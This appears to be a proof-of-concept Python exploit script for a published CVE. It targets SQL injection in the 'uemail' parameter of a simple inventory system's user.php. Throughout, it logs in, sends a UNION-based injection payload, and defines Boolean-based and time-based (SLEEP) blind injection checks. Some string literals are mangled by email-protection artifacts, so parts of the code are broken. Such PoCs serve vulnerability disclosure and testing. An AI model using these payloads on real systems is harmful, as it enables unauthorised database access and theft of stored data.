# CVE-2025-11611 PoC - SQL Injection in SourceCodester Simple Inventory System 1.0
# Vulnerable file: /user.php
# Vulnerable parameter: uemail
import requests
# Target configuration
TARGET_URL = "http://target.com/user.php"
USERNAME = "test_user"
PASSWORD = "test_password"
# Login to obtain session
session = requests.Session()
login_data = {
"username": USERNAME,
"password": PASSWORD
}
session.post(TARGET_URL, data=login_data)
# SQL Injection payload for uemail parameter
# Using UNION-based injection to extract database information
sql_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- -"
# Inject payload into uemail parameter
injection_data = {
"uemail": sql_payload,
# Add other required parameters
}
# Send the malicious request
response = session.post(TARGET_URL, data=injection_data)
# Check response for leaked data
if "error" not in response.text.lower():
print("SQL Injection successful!")
print(response.text)
else:
print("Injection failed or blocked")
# Alternative: Boolean-based blind SQL injection
def check_injection(url, session, param_name='uemail'):
"""Check if the parameter is vulnerable to SQL injection"""
# Normal request
normal_payload = "
[email protected]"
# True condition
true_payload = "
[email protected]' AND '1'='1"
# False condition
false_payload = "
[email protected]' AND '1'='2"
# Compare responses
data_normal = {param_name: normal_payload}
data_true = {param_name: true_payload}
data_false = {param_name: false_payload}
r_normal = session.post(url, data=data_normal)
r_true = session.post(url, data=data_true)
r_false = session.post(url, data=data_false)
if r_true.text != r_false.text:
print(f"[+] Parameter '{param_name}' is vulnerable to SQL injection!")
return True
return False
# Time-based blind SQL injection example
def extract_data_time_based(url, session, param_name='uemail'):
"""Extract data using time-based blind SQL injection"""
# MySQL SLEEP injection
payload = "
[email protected]' AND SLEEP(5)-- -"
data = {param_name: payload}
import time
start_time = time.time()
response = session.post(url, data=data)
elapsed_time = time.time() - start_time
if elapsed_time > 4:
print(f"[+] Time-based SQL injection confirmed (delay: {elapsed_time:.2f}s)")
return True
return False